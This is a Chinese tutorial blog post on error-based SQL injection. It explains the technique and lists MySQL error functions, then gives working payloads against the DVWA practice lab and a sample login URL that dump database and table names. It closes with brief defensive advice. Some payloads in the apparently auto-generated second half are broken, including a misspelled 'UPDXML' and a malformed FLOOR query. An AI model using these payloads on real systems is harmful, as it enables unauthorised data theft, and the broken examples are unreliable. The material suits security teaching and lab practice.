sql注入-报错注入

报错盲注

原理:
报错注入(Error-based SQL Injection)是一种SQL注入攻击技术,它依赖于应用程序在发生数据库错误时返回给用户的详细错误信息。这些错误信息可能包含关于数据库结构的敏感信息,如数据库表名、列名、数据类型等,甚至可能泄露部分数据。攻击者可以利用这些信息来进一步构造更精确的SQL查询,以绕过应用程序的安全措施,获取未授权的数据访问或执行未授权的操作。

常用报错函数:
1.floor()报错
2.extractValue()报错
3.updateXml()报错
4.NAME_CONST()报错
5.jion()报错
6.exp()报错

下面进行报错注入dvwa靶场。
1.爆库名

1' and extractvalue(1,concat(0x7e,database()))# 

在这里插入图片描述
2.爆表名
先爆表的数量

1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))# 

在这里插入图片描述
再具体爆每张表的名字

1' and extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1)))#

在这里插入图片描述
3.爆列名

### SQL 注入中的报错注入实际操作方法 #### 背景介绍 报错注入(Error-Based SQL Injection)是一种通过触发数据库错误消息来提取数据的技术。这种方法通常用于无法直接从页面获取查询结果的情况下,例如 `INSERT`、`UPDATE` 或 `DELETE` 查询[^1]。 当应用程序未正确过滤输入并允许恶意字符串进入 SQL 查询时,攻击者可以通过构造特定的 SQL 语句引发异常,并利用这些异常信息推断出目标系统的内部结构和数据[^3]。 --- #### 常见工具和技术 以下是几种常用函数和技术,在报错注入中被广泛使用: 1. **UPDATEXML()** - 函数描述:`UPDATEXML()` 是 MySQL 中的一个内置函数,可以解析 XML 数据树并更新节点值。 - 使用场景:如果传入非法路径或无效参数,它会抛出详细的错误信息,其中可能包含拼接的数据。 - 示例代码: ```sql ' AND (SELECT UPDXML(1, CONCAT(0x7e, (SELECT database())), 1)) # ``` 上述代码试图通过 `CONCAT` 将当前数据库名称附加到错误消息中[^4]。 2. **ExtractValue()** - 函数描述:类似于 `UPDATEXML()`,`ExtractValue()` 可以用来解析 XML 文档的内容。 - 错误触发机制:提供不合法的 XPath 表达式即可让其崩溃,并暴露部分数据。 - 示例代码: ```sql ' AND ExtractValue(1, CONCAT(0x7e, (SELECT user()))) # ``` 3. **FLOOR()** - 函数描述:`FLOOR()` 返回不大于给定数值的最大整数。 - 利用方式:结合随机化或其他复杂逻辑制造重复键冲突,从而导致错误输出。 - 示例代码: ```sql ' ORDER BY FLOOR(RAND(0)*2) GROUP BY id # ``` --- #### 实战案例分析 假设存在一个简单的登录验证接口 `/login?username=admin&password=pass`,并且后台执行如下查询: ```sql SELECT * FROM users WHERE username = '$username' AND password = '$password'; ``` 此时,如果我们提交以下请求: ```http /login?username=k' AND UPDATEXML(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1)), 1)-- &password=any ``` 服务器可能会返回类似这样的错误响应: > XPATH syntax error: '~tablename' 这表明我们成功地从 `information_schema.tables` 获取到了第一个表的名字。 继续深入挖掘列名或者具体记录的过程也遵循相同原理——逐步嵌套子查询直到达到目的为止。 --- #### 防护措施建议 为了防止此类攻击发生,请务必采取以下预防手段之一或多条组合策略: - 对所有外部可控变量实施严格的白名单校验; - 启用预编译语句代替动态组装SQL串; - 关闭不必要的调试模式以及隐藏敏感堆栈跟踪详情; ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值